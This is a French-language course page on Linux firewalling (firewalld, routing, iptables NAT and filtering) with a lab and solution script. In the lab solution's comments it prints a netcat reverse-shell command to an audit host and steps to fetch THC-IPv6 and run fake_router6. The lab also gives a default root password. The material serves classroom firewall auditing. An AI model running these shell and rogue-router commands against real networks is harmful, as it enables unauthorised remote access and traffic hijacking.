Routage et Pare-feu
- Pare-feu Linux
- 1. Pare-feu / Firewall
- 2. Firewalld
- 3. Routage IP
- 4. Netfilter
- Iptables : la théorie
- Trois tables : filter, nat et mangle
- La table filter
- Cibles possibles
- La table nat
- Chaînes de la table nat
- Cibles de la table nat
- Syntaxe
- Commandes
- Les critères
- Les critères de filtrage
- Chaînes Utilisateurs
- Vérification des règles
- Réinitialisation des règles
- Politique INPUT
- Routage IP activation opportune
- Routage IP activation permanente
- Chaine nat POSTROUTING
- Questions
- 5. Lab
- Service de passerelle
- Notes
Pare-feu Linux
Source de l'image : https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Security_Guide/sec-Using_Firewalls.html
1. Pare-feu / Firewall
- Dans un système d'information, les politiques de filtrage et de contrôle du trafic sont placées sur un matériel ou un logiciel intermédiaire communément appelé pare-feu (firewall).
- Cet élément du réseau a pour fonction d’examiner et filtrer le trafic qui le traverse.
- On peut le considérer comme une fonctionnalité d’un réseau sécurisé : la fonctionnalité pare-feu
- L’idée qui prévaut à ce type de fonctionnalité est le contrôle des flux du réseau TCP/IP.
- Le pare-feu limite le taux de paquets et de connexions actives. Il reconnaît les flux applicatifs.
Objectifs d’un pare-feu
Il a pour objectifs de répondre aux menaces et attaques suivantes, de manière non-exhaustive :
- Usurpation d’identité
- La manipulation d’informations
- Les attaques de déni de service (DoS/DDoS)
- Les attaques par code malicieux
- La fuite d’information
- Les accès non-autorisé (en vue d’élévation de privilège)
- Les attaques de reconnaissance, d’homme du milieu, l’exploitation de TCP/IP
Ce que le pare-feu ne fait pas
Le pare-feu est central dans une architecture sécurisée mais :
- Il ne protège pas des menaces internes.
- Il n’applique pas tout seul les politiques de sécurité et leur surveillance.
- Il n’établit pas la connectivité par défaut.
- Le filtrage peut intervenir à tous les niveaux TCP/IP de manière très fine.
Fonctionnement
- Il a pour principale tâche de contrôler le trafic entre différentes zones de confiance, en filtrant les flux de données qui y transitent.
- Généralement, les zones de confiance incluent l’Internet (une zone dont la confiance est nulle) et au moins un réseau interne (une zone dont la confiance est plus importante).
- Le but est de fournir une connectivité contrôlée et maîtrisée entre des zones de différents niveaux de confiance, grâce à l'application de la politique de sécurité et d'un modèle de connexion basé sur le principe du moindre privilège.
- Un pare-feu fait souvent office de routeur et permet ainsi d'isoler le réseau en plusieurs zones de sécurité appelées zones démilitarisées ou DMZ. Ces zones sont séparées suivant le niveau de confiance qu'on leur porte.
Zone de confiance sur un pare-feu
- Organisation du réseau en zones
Niveau de confiance
- Le niveau de confiance est la certitude que les utilisateurs vont respecter les politiques de sécurité de l’organisation.
- Ces politiques de sécurité sont édictées dans un document écrit de manière générale. Ces recommandations touchent tous les éléments de sécurité de l’organisation et sont traduites particulièrement sur les pare-feu en différentes règles de filtrage.
- On notera que le pare-feu n’examine que le trafic qui le traverse et ne protège en rien des attaques internes, notamment sur le LAN.
Politiques de filtrage
- Selon les besoins, on placera les politiques de filtrage à différents endroits du réseau, au minimum sur chaque hôte contrôlé (pare-feu local) et en bordure du réseau administré sur le pare-feu. Ces emplacements peuvent être distribué dans la topologie selon sa complexité.
- Pour éviter qu'il ne devienne un point unique de rupture, on s'efforcera d'assurer la redondance des pare-feu. On placera plusieurs pare-feu dans l’architecture du réseau à des fins de contrôle au plus proche d’une zone ou pour répartir la charge.
Filtrage
- La configuration d'un pare-feu consiste la plupart du temps en un ensemble de règles qui déterminent une action de rejet ou d'autorisation du trafic qui passe les interfaces du pare-feu en fonction de certains critères tels que :
- l'origine et la destination du trafic,
- des informations d'un protocole de couche 3 (IPv4, IPv6, ARP, etc.),
- des informations d'un protocole de couche 4 (ICMP, TCP, UDP, ESP, AH, etc.)
- et/ou des informations d'un protocole applicatif (HTTP, SMTP, DNS, etc.).
Décision de filtrage
- Les règles sont appliquées en fonction de la direction du trafic entrant ou sortant sur une interface, avant ou après le processus de routage des paquets. Cette dernière réalité diffère selon le logiciel ou le matériel choisi pour remplir ces tâches.
- Ici l’exemple de la table filter de Netfilter :
Règles
- Chaque règle est examinée selon son ordonnancement.
- Si le trafic ne correspond pas à la première règle, la seconde règle est évaluée et ainsi de suite.
- Lorsqu'il y a correspondance entre les critères de la règle et le trafic, l'action définie est exécutée et les règles suivantes ne sont pas examinées.
- La terminologie des actions usuelles peuvent être accept, permit, deny, block, reject, drop, ou similaires.
- En général, un ensemble de règles se termine par le refus de tout trafic, soit en dernier recours le refus du trafic qui traverse le pare-feu. Ce comportement habituellement défini par défaut ou de manière implicite refuse tout trafic pour lequel il n'y avait pas de correspondance dans les règles précédentes.
Politique de filtrage typique
On peut résumer des politiques de filtrage typique.
- LAN > WAN
- WAN X LAN
- LAN > DMZ
- DMZ X LAN
- WAN X DMZ (sauf TCP80 par exemple)
- DMZ > WAN
2. Firewalld
Firewalld est l'outil pare-feu intégré à Centos 7. Il est une surcouche aux logiciels natifs NetFilter (iptables entre autres). Il permet de manipuler des règles de pare-feu sur base de niveaux de confiance entre des zones. Son usage exige de se passer des règles et scripts ou services iptables.
On ira lire utilement la documentation détaillée en français sur http://doc.fedora-fr.org/wiki/Parefeu_-_firewall_-_FirewallD ou de manière plus efficace https://www.certdepot.net/rhel7-get-started-firewalld/
On retiendra que la permanence des paramètres configurés avec Firewalld est assurée en ajoutant --permanent
dans la commande. Aussi, après chaque changement de configuration, on recharge la configuration avec firewall-cmd --reload
.
# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2016-04-11 13:45:25 EDT; 1 day 2h ago
Main PID: 968 (firewalld)
CGroup: /system.slice/firewalld.service
└─968 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid
Apr 11 13:43:33 localhost.localdomain systemd[1]: Starting firewalld - dynami...
Apr 11 13:45:25 localhost.localdomain systemd[1]: Started firewalld - dynamic...
Hint: Some lines were ellipsized, use -l to show in full.
- zones
- permanence
- ouverture de port
Zones
# firewall-cmd --get-default-zone
public
# firewall-cmd --get-active-zones
public
interfaces: eno16777736
# firewall-cmd --get-zone-of-interface=eno16777736
public
# firewall-cmd --get-zones
block dmz drop external home internal public trusted work
# man firewalld.zones
cat /usr/lib/firewalld/zones/*.xml
<?xml version="1.0" encoding="utf-8"?>
<zone target="%%REJECT%%">
<short>Block</short>
<description>Unsolicited incoming network packets are rejected. Incoming packets that are related to outgoing network connections are accepted. Outgoing network connections are allowed.</description>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>DMZ</short>
<description>For computers in your demilitarized zone that are publicly-accessible with limited access to your internal network. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone target="DROP">
<short>Drop</short>
<description>Unsolicited incoming network packets are dropped. Incoming packets that are related to outgoing network connections are accepted. Outgoing network connections are allowed.</description>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>External</short>
<description>For use on external networks. You do not trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
<masquerade/>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>Home</short>
<description>For use in home areas. You mostly trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
<service name="ipp-client"/>
<service name="mdns"/>
<service name="samba-client"/>
<service name="dhcpv6-client"/>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>Internal</short>
<description>For use on internal networks. You mostly trust the other computers on the networks to not harm your computer. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
<service name="ipp-client"/>
<service name="mdns"/>
<service name="samba-client"/>
<service name="dhcpv6-client"/>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>Public</short>
<description>For use in public areas. You do not trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
<service name="dhcpv6-client"/>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone target="ACCEPT">
<short>Trusted</short>
<description>All network connections are accepted.</description>
</zone>
<?xml version="1.0" encoding="utf-8"?>
<zone>
<short>Work</short>
<description>For use in work areas. You mostly trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted.</description>
<service name="ssh"/>
<service name="ipp-client"/>
<service name="dhcpv6-client"/>
</zone>
# firewall-cmd --permanent --zone=public --list-all
public (default)
interfaces:
sources:
services: dhcpv6-client ssh
ports:
masquerade: no
forward-ports:
icmp-blocks:
rich rules:
# firewall-cmd --permanent --zone=internal --list-all
internal
interfaces:
sources:
services: dhcpv6-client ipp-client mdns samba-client ssh
ports:
masquerade: no
forward-ports:
icmp-blocks:
rich rules:
# firewall-cmd [--permanent] --zone=zone --add-interface=interface
# firewall-cmd --permanent --new-zone=testzone
success
# firewall-cmd --reload
success
# firewall-cmd --get-zones
block dmz drop external home internal public testzone trusted work
Sources
# firewall-cmd --permanent --zone=trusted --add-source=192.168.1.0/24
success
# firewall-cmd --reload
success
# firewall-cmd --zone=trusted --list-sources
192.168.1.0/24
Services
# firewall-cmd --get-services
Ports
# firewall-cmd --zone=internal --add-port=443/tcp
success
# firewall-cmd --zone=internal --list-ports
443/tcp
Masquerading
# firewall-cmd --zone=external --add-masquerade
success
Transfert de ports
# firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2222
success
[root@francois ~]# firewall-cmd --reload
success
Revenir à iptables
FirewallD est le logiciel pare-feu RHEL7 pour la gestion du pare-feu. Si l’on veut utiliser Netfilter natif, il faut arrêter le pare-feu Firewalld :
# systemctl stop firewalld
- Pour démarrer/stopper iptables
# systemctl start iptables
- Pour sauvegarder les règles iptables
# /sbin/iptables-save > /etc/sysconfig/iptables
3. Routage IP
- Routage IP : noyau, quagga, démons ISC, vyatta
Le routage IP est le principe de transmission qui permet à deux ordinateurs placés à des endroits d'extrémité dans le monde de communiquer. L'Internet est constitué d'un ensemble de routeurs chargés de transférer les paquets de l'Internet Protocol vers leur destination finale.
Aujourd'hui, l'Internet tel qu'il est encore largement utilisé fonctionne dans sa version sous-optimale IPv4. Le protocole d'aujourd'hui est le protocole IPv6. On trouvera plus d'informations sur IPv6 sur https://github.com/goffinet/ccna/blob/master/ICND1_0x05_ICND2_Protocole_IPv6.pdf ou https://fr.wikipedia.org/wiki/IPv6.
Concrètement, un routeur est un ordinateur spécialisé dans le transfert des paquets IPv4 et/ou IPv6 entre des interfaces qui connectent des réseaux et des technologies distinctes. Par nature, les interfaces disposent d'adresses IP appartenant à des domaines distincts.
Pour bien comprendre le principe du routage, il est souhaitable de monter une topologie représentative. Elle peut être déployée physiquement à partir de plate-formes très bon marché telles que des TL-WR841N ou TL-WR710N avec OpenWRT. On peut aussi la déployer dans une solution de virtualisation quelconque ou en classe de formation, avec plusieurs partenaires disposant de leurs PCs
Activation du routage
Il est trivial d'activer le routage sous Linux :
# cat /proc/sys/net/ipv4/ip_forward
# echo 1 > /proc/sys/net/ipv4/ip_forward
# cat /proc/sys/net/ipv4/ip_forward
Pour la persitence modifier le fichier /etc/sysctl.conf
en changeant la valeur de la ligne :
# echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
# echo 0 > /proc/sys/net/ipv4/ip_forward
# systemctl restart network
# cat /proc/sys/net/ipv4/ip_forward
1
Exercice routage Linux
Chaque participant prendra une plage IPv4 différente : 192.168.100.0/24, 192.168.101.0/24, 192.168.102.0/24, ...
- Par exemple :
# ipcalc -nmb 192.168.113.0/24
NETMASK=255.255.255.0
BROADCAST=192.168.113.255
NETWORK=192.168.113.0
Activation du routage
En équipe de deux
- Ajouter une interface dummy :
# sudo lsmod | grep dummy
[root@localhost ~]# modprobe dummy
[root@localhost ~]# lsmod | grep dummy
dummy 12960 0
[root@localhost ~]# ip link set name eth1 dev dummy0
- Attribuer une adresse IP dans un domaine unique
- Activer le routage
- Entrer une route statique vers le réseau privé du voisin et tenter de joindre cette adresse privée
- Tenter de joindre l'adresse d'un voisin sur le réseau local avec
ping -I
désigant l'interface privée comme source
Démon de routage OSPF
Dans la classe de formation
- Installer Quagga (Zebra avec ospfd) :
# yum install quagga
# cp /usr/share/doc/quagga-0.99.22.4/ospfd.conf.sample /etc/quagga/ospfd.conf
# chown quagga:quagga /etc/quagga/ospfd.conf
- Configuer SELinux :
# setsebool -P zebra_write_config 1
- Désactiver le pare-feu :
# systemctl stop firewalld
- Démarrer Zebra :
# systemctl start zebra
# systemctl status zebra
- Entrer dans une console de type Cisco et commencer la configuration :
# vtysh
- Quand cela sera nécessaire, démarrer Ospfd :
# systemctl start ospfd
# systemctl status ospfd
4. Netfilter
Source : http://commons.wikimedia.org/wiki/File:Netfilter-components.svg
Iptables : la théorie
- Les règles de pare-feu sont examinées dans l’ordre de leur introduction avec la politique par défaut qui termine la liste (la chaîne).
- Chaque règles est une commande
iptables
ouip6tables
. - Dès que la correspondance est trouvée, la liste s’arrête.
Trois tables : filter, nat et mangle
- iptables et ip6tables sont les logiciels (interface utilisateur) de filtrage, de traduction d’adresses (NAT/PAT) et de transformation du trafic.
- Trois usages, trois tables :
filter
nat
mangle
- On ne parlera ici que des tables filter et nat, qui sont constituées de chaînes, sortes d’ACLs, elles-mêmes constituées de règles.
La table filter
La table filter filtre le trafic dans trois situations (chaînes) :
INPUT
: à destination d’une interface du pare-feuOUTPUT
: sortant d’une interface du pare-feuFORWARD
: traversant le pare-feu d’une interface à une autre
Cibles possibles
l’option -j
(jump) définit une cible (une action) :
ACCEPT
: le paquet est accepté et pris en charge par les processus du noyauDROP
: le paquet est jeté, sans plusREJECT
: le paquet est jeté, mais un message d’erreur est renvoyé au destinataireLOG
: journalisation du trafic. passe à la règle suivante.- ...
- une autre chaîne utilisateur
La table nat
- Le NAT/PAT vise à réécrire les champs d’adresses et de ports TCP/IP du trafic qui traverse le pare-feu.
- Il est principalement utile dans le cadre du manque d’adresses IPv4 globale.
- Il peut intervenir avant que le trafic soit routé, en changeant l’adresse et le port de destination (DNAT, redirection), pour filtrer du trafic à destination d'un serveur
- Il peut intervenir après que le trafic soit routé, en changeant d’adresse et le port source (SNAT, masquage) pour offrir une connectivité globale à un bloc IP privé
Chaînes de la table nat
- PREROUTING :
- DNAT : redirection de port dans une DMZ
- REDIRECT : redirection (vers un proxy)
- POSTROUTING :
- SNAT : NAT/PAT statique
- MASQUERADE : NAT overload (masquage)
Cibles de la table nat
Syntaxe
iptables -t [filter, nat]
- commandes :
-A
,-P
,-I
,-D
, ...- chaîne :
[INPUT, OUTPUT, FORWARD]
- critères :
-i
,-o
,-s
,-d
,-p
,-m
, ….-j
: jump action ou règles utilisateur :DROP
,REJECT
,ACCEPT
,LOG
, ...
- critères :
- chaîne :
Commandes
-t
: désigne la table[filter, nat]
-F
: supprime toutes les chaînes prédéfinies-X
: supprime toutes les chaînes utilisateurs-A
: ajoute une règle à une chaîne (et à une table) suivi de critères et d’un jump-D
: supprime une règle-I
: insère une règle-P
: Définit la politique (ou cible) par défaut d'une chaîne. Seules les chaînes prédéfinies peuvent avoir un comportement par défaut. Cette cible ne sera appliquée qu'après l'exécution de la dernière règle de la chaîne.-L -n -v
: Liste les règles-S
: Liste les commandes-j
: jump : action :[DROP, REJECT, ACCEPT, LOG]
Les critères
Les critères peuvent être multiples :
- Interface source ou destination.
- Adresse IP source ou de destination.
- Port source ou de destination.
- Type de trame.
- Nombre de paquets.
- Paquet marqué par la table Mangle.
- Etc.
Les critères de filtrage
-p <protocol-type>
Protocole ;icmp
,tcp
,udp
, etall
-s <ip-address>
Adresse IP source-d <ip-address>
Adresse IP destination-i <interface-name>
nom d’interface d’entrée : eth0, eth1-o <interface-name>
nom d’interface de sortie : eth0, eth1-p tcp --sport <port>
port TCP source.-p tcp --dport <port>
port TCP destination.-p tcp --syn
Utilisé pour identifier une nouvelle requête de connexion.! --syn
signifie pas de nouvelle de requête de connexion-p udp --sport <port>
port UDP source.-p udp --dport <port>
port UDP destination.--icmp-type <type>
echo-reply
,echo-request
-m multiport --sports <port, port>
-m multiport --dports <port, port>
-m multiport --ports <port, port>
-m --state <state>
ESTABLISHED
: Le paquet fait partie d’une connexion qui a été constatée dans les deux directions.NEW
: Le paquet est le début d’une nouvelle connexion.RELATED
: Le paquet démarre une seconde nouvelle connexionINVALID
: Le paquet ne peut pas être identifié.
Chaînes Utilisateurs
Les chaînes utilisateurs sont des chaînes spécifiques définies par l’administrateur (autres que les chaînes prédéfinies PREROUTING
, INPUT
, FORWARD
, OUTPUT
et POSTROUTING
).
Elles sont appelées :
- par une ou d’autres chaînes utilisateurs ou,
- par une ou plusieurs chaînes prédéfinies.
Vérification des règles
# iptables -t filter -L
# iptables -t nat -L
# iptables -t filter -L -n -v
Réinitialisation des règles
# iptables -F
# iptables -X
# iptables -t filter -L -n -v
`
- Maintient des sessions établies :
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
Politique INPUT
- Refus de tout trafic entrant sur son interface SSH et DHCP, sauf le trafic de loopback :
iptables -t filter -A INPUT -p tcp -i $int --dport ssh -j ACCEPT
iptables -t filter -A INPUT -p udp -i $int --dport 67:68 -j ACCEPT
iptables -t filter -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -i $int -j ACCEPT
iptables -I INPUT 2 -i lo -j ACCEPT
iptables -P INPUT DROP
`
Routage IP activation opportune
Vérification de l’activation du routage IPv4 :
# sysctl net.ipv4.ip_forward
ou
# cat /proc/sys/net/ipv4/ip_forward
`
Activation opportune du routage IPv4 :
# sysctl -w net.ipv4.ip_forward=1
ou
# echo 1 > /proc/sys/net/ipv4/ip_forward
Routage IP activation permanente
Activation permanente via sysctl :
- Editer/lire /etc/sysctl.conf et redémarrer le service :
# sysctl -p /etc/sysctl.conf
- ou
# systemctl network restart
- ou en debian
# /etc/init.d/procps.sh restart
- Editer/lire /etc/sysctl.conf et redémarrer le service :
Activation permanente Debian : éditer
/etc/network/options
- Activation permanente RHEL : éditer
/etc/sysconfig/network
Chaine nat POSTROUTING
- Activation simple du SNAT :
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # iptables -t nat -L -n -v
Questions
- Comment sauvegarder/restaurer ses règles ?
- Comment créer une configuration sous forme de script ?
- Quelle serait la configuration plus fine ?
5. Lab
Avec le matériel suivant mis à disposition
- une connectivité Internet
- un routeur/pare-feu TL-WR841ND Linux OpenWRT Barrier Breaker (Netfilter) pré-configuré.
A l’aide de la documentation jointe
- Établir les connexions physiques en suivant le le diagramme de la topologie.
- Configurer et vérifier les services IPv4/IPv6 :
- Console Telnet, puis SSH seulement (root:testtest)
- Adresses IP, routage IPv4/IPv6, NAT, DHCP Server, DNS Recursive Cache IPv4/IPv6, RA Server ULA, NTP sur le routeur/pare-feu.
- Script netfilter IPv4
- Réaliser, implémenter et valider un script précis et restrictif mettant en oeuvre la politique de filtrage décrite plus bas.
- L’usage des commentaires, des variables pour les adresses et les interfaces ainsi que des chaînes utilisateurs est recommandé.
- Réaliser l’attaque Reverse Backdoor Shell sur TCP 2222 sur le LAN en décrivant les conditions de mise en oeuvre sur la station d’audit et sur la station du LAN.
Consignes de sécurité
- Appliquer des politiques par défaut restrictives.
- Sécuriser le pare-feu lui-même de telle sorte :
- que le trafic de Loopback soit autorisé et NATté,
- qu’il puisse réaliser des mises-à-jour vers l’Internet (opkg update),
- qu’il puisse utiliser des services externes DHCP, DNS et NTP ou rendre des services internes définis dans l’énoncé.
- qu’il soit gérable à distance par uniquement par l’équipe informatique 192.168.1.10 (SSH, SYSLOG, SNMP)
- En fonction de l’origine du trafic, il faudra adapter la politique de filtrage au strict nécessaire :
- venant du LAN : NAT, HTTP, HTTPS, ICMP/ICMPv6 limité
- venant du WAN : une règle autorisant l’attaque Backdoor Shell
- venant du WAN : un accès SSH restrictif
Solution
#bien lire les consignes
#bien se documenter (travail personnel, cours, exemples, documents complémentaires)
#bien s'équiper (matériels et logiciels: un bon editeur, ssh, ...)
#1. Definition des variables
LANIF=br-lan
WANIF=eth1
ADMINIP=192.168.1.135
LANNET=192.168.1.0/24
AUDITIP=192.168.100.119
#2. ->vidage des tables
iptables -t filter -F
iptables -t filter -X
iptables -t nat -F
#3. ->Politiques par defaut (Consigne 1)
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
#4. ->NAT (Consignes 2a et 3a)
iptables -t nat -A POSTROUTING -o $WANIF -j MASQUERADE
#5. ->Filtrage du trafic LAN/WAN HTTP/HTTPS/ICMP (Consigne 3a)
iptables -A FORWARD -p tcp -i $LANIF -o $WANIF -d 0/0 --dport 80 -j ACCEPT
#test a partir du LAN : wget http://www.google.com
iptables -A FORWARD -p tcp -i $LANIF -o $WANIF -d 0/0 --dport 443 -j ACCEPT
#test a partir du LAN : wget https://www.google.com
iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 100/s -i $LANIF -o $WANIF -j ACCEPT
#test a partir du LAN : ping www.google.com
iptables -A FORWARD -i $WANIF -o $LANIF -m state --state RELATED,ESTABLISHED -j ACCEPT
#5.bis. Exceptions a decommenter pour du trafic de gestion/audit vers l'Internet
#iptables -A FORWARD -p tcp -i $LANIF -s $ADMINIP -o $WANIF -d 178.32.122.139 --dport 22 -j ACCEPT
iptables -A FORWARD -p tcp -i $LANIF -s $ADMINIP -o $WANIF -d $AUDITIP --dport 22 -j ACCEPT
#6. Securisation du pare-feu (Consigne 2)
#->INPUT
#|-> Sessions administratives/surveillance SSH, SYSLOG, SNMP (Consigne 2d)
iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -i $LANIF -s $ADMINIP --dport 22 -j ACCEPT
#iptables -A INPUT -p tcp -i $LANIF -s $ADMINIP --dport 80 -j ACCEPT
iptables -A INPUT -p udp -i $LANIF -s $ADMINIP --dport 514 -j ACCEPT
#Trafic de gestion DHCP/DNS/ICMP (Consigne 2c)
#|-> Trafic DHCP
iptables -A INPUT -p udp -i $LANIF --dport 67 -j ACCEPT
iptables -A INPUT -p udp -i $WANIF --sport 67 -j ACCEPT
#|-> Trafic DNS
iptables -A INPUT -p udp -i $LANIF -s $LANNET --dport 53 -j ACCEPT
iptables -A INPUT -p udp -i $WANIF --sport 53 -j ACCEPT
#|-> Trafic NTP
iptables -A INPUT -p udp -i $LANIF -s $LANNET --dport 123 -j ACCEPT
iptables -A INPUT -p udp -i $WANIF --sport 123 -j ACCEPT
#|-> Trafic ICMP
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -i $LANIF -s $LANNET -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-reply -m limit --limit 100/s -i $WANIF -j ACCEPT
#|-> Trafic de MAJ (non fonctionnel a corriger)
#verification nmap 192.168.1.1, dhcp release/renew, ntpdate, dig, ping
iptables -A INPUT -p tcp -i $WANIF -j ACCEPT
#Acces SSH externe (Consigne 3c)
iptables -A INPUT -p tcp -i $WANIF -s $AUDITIP --dport 22 -j ACCEPT
#7. Attaque Backdoor Shell (Consigne 3b)
#7.1. Dans le WAN monter un server nc dur le port TCP443 : nc -l -p 443
#7.2. Dans le LAN exécuter : nc $AUDITIP 443 -e cmd.exe
#8.1. Attaque TCPSYN sur le routeur $WANIF
#8.2. Attaque RA ICMPv6
#apt-get install libpcap-dev libssl-dev
#wget http://www.thc.org/releases/thc-ipv6-2.5.tar.gz
#make, make install
#sudo modprobe ipv6
#sudo fake_router6 eth0 2001:db8:dead::/64
Service de passerelle
Solution Routeur virtuel (libvirtd) interne sans DHCP
Editer un fichier lab.xml
<network>
<name>lab</name>
<forward mode='nat'>
<nat>
<port start='1024' end='65535'/>
</nat>
</forward>
<bridge name='virbr1' stp='on' delay='0'/>
<domain name='lab'/>
<ip address='192.168.22.254' netmask='255.255.255.0'>
</ip>
</network>
Créer et démarrer le switch
# virsh net-define lab.xml
Network lab defined from lab.xml
# virsh net-autostart lab
Network lab marked as autostarted
# virsh net-start lab
Network lab started
# virsh net-list
Name State Autostart Persistent
----------------------------------------------------------
default active yes yes
lab active yes yes
Solution Routeur Centos en VM
Commutateur virtuel "WAN" ponté au réseau physique
- Création d'une interface type bridge (par exemple
virbr2
) sur l'hôte avec des paramètres IP correspondant à ce qui est attendu de l'interface physique native. - L'interface physique
eth0
ou autre physique est dénuée de ses paramètres IP et est liée à l'interface bridge - Création d'un commutateur virtuel "WAN" (
<forward mode='bridge'>
) lié à l'interface virbr2.
1) cat /etc/sysconfig/network-scripts/ifcfg-virbr2
DEVICE="virbr2"
TYPE=BRIDGE
ONBOOT=yes
BOOTPROTO="dhcp"
DEFROUTE="yes"
PEERDNS="yes"
PEERROUTES="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_PEERDNS="yes"
IPV6_PEERROUTES="yes"
IPV6_FAILURE_FATAL="no"
2) cat /etc/sysconfig/network-scripts/ifcfg-p4p1
DEVICE="p4p1"
HWADDR="00:0A:F7:2B:A1:3E"
TYPE="Ethernet"
#BOOTPROTO="dhcp"
#DEFROUTE="yes"
#PEERDNS="yes"
#PEERROUTES="yes"
#IPV4_FAILURE_FATAL="no"
#IPV6INIT="yes"
#IPV6_AUTOCONF="yes"
#IPV6_DEFROUTE="yes"
#IPV6_PEERDNS="yes"
#IPV6_PEERROUTES="yes"
#IPV6_FAILURE_FATAL="no"
#NAME="p4p2"
ONBOOT="yes"
BRIDGE="virbr2"
3) Définition du commutateur virtuel WAN
<network>
<name>WAN</name>
<uuid>fc15da74-e864-426e-91e2-04d3444045e1</uuid>
<forward mode='bridge'/>
<bridge name='virbr2'/>
</network>
Commutateur virtuel "LAN"
<network>
<name>LAN</name>
<bridge name='virbr3' stp='on' delay='0'/>
</network>
Configuration de GW01
Interfaces
...
...
routage IP
echo "net.ipv4.ip_forward=1" > /etc/sysctl.conf
iptables
Désactivation de firewalld, activation de iptables-services
yum install -y iptables-services
systemctl mask firewalld
systemctl enable iptables
systemctl enable ip6tables
systemctl enable iptables
systemctl start ip6tables
Règles iptables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t filter -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t filter -A FORWARD -i eth1 -o eth0 -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -o eth1 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t nat -A POSTROUTING -s 192.168.22.0/24 -o eth0 -j MASQUERADE
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables-save > /etc/sysconfig/iptables
Proxy Squid
...
Notes sur l’installation d'une passerelle OpenWrt
Sous VirtualBox (Windows)
Prendre la dernière version d’OpenWrt format x86 : wget http://downloads.openwrt.org/barrier_breaker/14.07/x86/generic/openwrt-x86-generic-combined-ext4.img.gz
Extraire l’image gzip :
gunzip openwrt-x86-generic-combined-ext4.img.gz
- Pour VirtualBox sous Windows, convertir l’image raw en image VDI:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" convertfromraw --format VDI openwrt-x86-generic-combined-ext4.img openwrt-x86-generic-combined-ext4.vdi
Ajouter une nouvelle VM Linux 2.6 avec l’image attachée
- NIC 1 : Host Only (LAN) 191.168.1.1/24 par défaut
- NIC 2 : Bridged (WAN)
Démarrer la VM et configurer un mot de passe pour root
En SSH configurer l’interface WAN :
uci set network.wan=interface
uci set network.wan.ifname=eth1
uci set network.wan.proto=dhcp
uci commit
ifup wan
- Installer l’interface graphique :
opkg update
opkg install luci-ssl
- Démarrer le service Web uniquement en HTTPS
vi /etc/config/uhttpd
# list listen_http '0.0.0.0:80'
# list listen_http '[::]:80'
/etc/init.d/uhttpd reload
Notes
Exemples avancés
- http://formation-debian.via.ecp.fr/firewall.html
- http://doc.fedora-fr.org/wiki/Parefeu_-_firewall_-_FirewallD
- http://doc.fedora-fr.org/wiki/Parefeu_-_firewall_-_netfilter_-_iptables
- Usage avancé : http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch14_:_Linux_Firewalls_Using_iptables#Advanced_iptables_Initialization
- Port Forwarding : http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch14_:_Linux_Firewalls_Using_iptables#Port_Forwarding_Type_NAT_.28DHCP_DSL.29
- Redirection :
- http://www.netfilter.org/documentation/HOWTO/fr/NAT-HOWTO-6.html#ss6.2
- Logs :
- http://olivieraj.free.fr/fr/linux/information/firewall/fw-03-09.html
- Sous Openwrt : logread | firewall
Références
- Pare-feu(informatique), Firewall(computing), Zonedémilitarisée(informatique)
- http://en.wikipedia.org/wiki/Cyber_security_and_countermeasure
- http://fr.wikipedia.org/wiki/Pare-feu_%C3%A0_%C3%A9tats
- http://en.wikipedia.org/wiki/Stateful_firewall
- http://en.wikipedia.org/wiki/Application_layer_firewall
- http://en.wikipedia.org/wiki/Proxy_server
- http://fr.wikipedia.org/wiki/Proxy
- http://en.wikipedia.org/wiki/Reverse_proxy
- http://en.wikipedia.org/wiki/Content-control_software
- http://en.wikipedia.org/wiki/Category:Web_caching_protocol
- http://commons.wikimedia.org/wiki/File:Netfilter_schema.png
- QuickHOWTO:Ch14:_Linux_Firewalls_Using_iptables
- http://olivieraj.free.fr/fr/linux/information/firewall/index.html
- http://wiki.openwrt.org/doc/howto/netfilter
- http://wiki.openwrt.org/doc/uci/firewall
- http://man.cx/iptables
- http://man.cx/ip6tables
- http://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Security/SAFE_RG/safesmallentnetworks.html
- Zone-Based Policy Firewall Design and Application Guide
- Zone-Based Policy Firewall IPv6 Support
- http://www.sans.org/score/checklists/FirewallChecklist.pdf